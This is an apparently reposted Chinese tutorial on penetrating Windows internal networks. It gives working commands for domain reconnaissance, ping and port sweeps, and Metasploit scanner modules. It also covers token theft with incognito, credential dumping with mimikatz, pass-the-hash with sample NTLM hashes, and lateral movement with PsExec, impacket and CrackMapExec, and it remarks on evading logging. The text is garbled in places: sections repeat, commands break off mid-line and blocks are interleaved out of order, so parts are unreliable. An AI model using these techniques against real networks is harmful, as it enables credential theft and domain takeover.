内网渗透TIPS总结

来源:岁月联盟 编辑:猪蛋儿 时间:2023-01-28

内网渗透思路

通过域成员主机,定位出 域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。

内网基础知识

1、工作组:

工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。

2、域:

用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合(安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。

3、域名服务器 DNS

是指用于实现域名和与之相对应的 IP 地址转换 的服务器。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。

4、域控内部

**NTDS.dit:**域用户帐户以域数据库的形式保存在活动目录中 Ntdsutil.exe-ntdsutil.exe:是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息

5、活动目录

帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

域信息收集

一、常用命令

query user || qwinsta 查看当前在线用户net user 查看本机用户net user /domain 查看域用户net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多net view /domain 查看有几个域net view ////dc 查看 dc 域内共享文件net group /domain 查看域里面的组net group "domain admins" /domain 查看域管net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管net group "domain controllers" /domain 域控net time /domainnet config workstation 当前登录域 - 计算机名 - 用户名net use ////域控(如 pc.xx.com) password /user:xxx.com/username 相当于这个帐号登录域内主机,可访问资源ipconfig

二、查找域服务器

三、查询域控

ping darkid.hack.comnslookup darkid.hack.com

四、主机发现

arp -a 查询通信nbtscan 发现主机nbtscan.exe -r 192.168.0.1/24

bat命令发现主机

for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="

通过powershell脚本扫描

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b#针对单个 IP 的多个端口的扫描:1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}2>$null#针对某 IP 段中单个端口的扫描:foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}#针对某 IP 段 & 多个端口的扫描器1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$

使用MSF进行扫描

使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。#主机存活探测:auxiliary/scanner/discovery/arp_sweep ARP 扫描auxiliary/scanner/discovery/udp_sweep UDP 扫描auxiliary/scanner/netbios/nbname NETBIOS 扫描auxiliary/scanner/snmp/snmp_enum SNMP 扫描auxiliary/scanner/smb/smb_version SMB 扫描#端口扫描:auxiliary/scanner/portscan/ack TCP ACK 端口扫描auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描auxiliary/scanner/portscan/syn SYN 端口扫描auxiliary/scanner/portscan/tcp TCP 端口扫描auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

内网渗透中的token

概述:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前

提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

net time #查询域中的时间,会请求域控net config workstation #查看当前工作环境nltest /dclist:域后缀 #查询域控
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b

#针对单个 IP 的多个端口的扫描:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}

#针对某 IP 段中单个端口的扫描:

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

#使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。#主机存活探测:

auxiliary/scanner/discovery/arp_sweep ARP 扫描auxiliary/scanner/discovery/udp_sweep UDP 扫描auxiliary/scanner/netbios/nbname NETBIOS 扫描auxiliary/scanner/snmp/snmp_enum SNMP 扫描auxiliary/scanner/smb/smb_version SMB 扫描

#端口扫描:

auxiliary/scanner/portscan/ack TCP ACK 端口扫描auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描auxiliary/scanner/portscan/syn SYN 端口扫描auxiliary/scanner/portscan/tcp TCP 端口扫描auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

一、描述

1、攻击手段

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

2、令牌的种类

访问令牌(Access Token):表示访问控制操作主体的系统对象

会话令牌(Session Token):是交互会话中唯一的身份标识符

密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

3、Windows的access token的类型

delegation token:授权令牌,支持交互式会话登录

impersonation token:模拟令牌,非交互式令牌

【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

二、AccessToken 的窃取与利用

1、前提

AccessToken 的窃取与利用需要 administrator 管理员权限。

2、窃取access token的方法

incognito.exe 程序

InvokeTokenManipulat.ps1 脚本

MSF 里的 incognito 模块

3、incognito

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

4、msf窃取token

横向渗透

一、PTH(pass the hash)

概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

1、pass the hash的原理

在Windows系统中,通常会使用NTLM身份认证

#AccessToken 的列举

incognito.exe list_tokens -u

#操作

incognito.exe execute -c "完整的 Token 名" cmd.exeincognito.exe execute -c "NT AUTHORITY/SYSTEM" cmd.exeuse incognito #加载 incognitolist_tokens -u #列出 AccessTokengetuid #查看当前 tokenimpersonate_token "NT AUTHORITY/SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即

ps #列出进程pid

steal_token 1252 #从进程窃取 tokengetsystem #提升至 system 权限rev2self #返回到之前的 AccessToken 权限

 NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成

hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash

攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)

2、适用范围

域环境/工作组环境

可以获取hash,但是条件是不允许爆破hash

内网中存在和当前机器相同的密码

3、关于微软补丁和禁用

在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号

仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

4、攻击

使用mimikatz

得到hash后

成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接

二、Psexec

1、概述

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主

机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

2、条件

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭

3、明文连接

4、hash连接

出现错误的情况可以使用impacket工具包下的psexec连接

privilege::debugsekurlsa::logonpasswordsmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txtprivilege::debugsekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

#命令

PsExec64.exe /accepteula /s //192.168.0.123 -u Administrator -p 123456cmdPsExec.exe /accepteula /s //192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

#参数

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显-u 域/用户名-p 密码

#命令

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

5、psexec注意事项

需要远程系统开启 admin$ 共享(默认是开启的)

因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会

产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

6、登陆域管理命令

impacket 下的 psexec

python3 psexec.py darkid/Administrator@192.168.0.142

执行命令后输入密码

登陆其他主机管理员

psexec /accepteula /s /12server1 -u Administrator -p 123456 cmd

三、msf的smb连接

1、使用

2、crackmapexec

CrackMapExec 可以对 C 段中的主机进行批量 pth,

项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令

四、WMI横向

1、概述

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

2、条件 

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端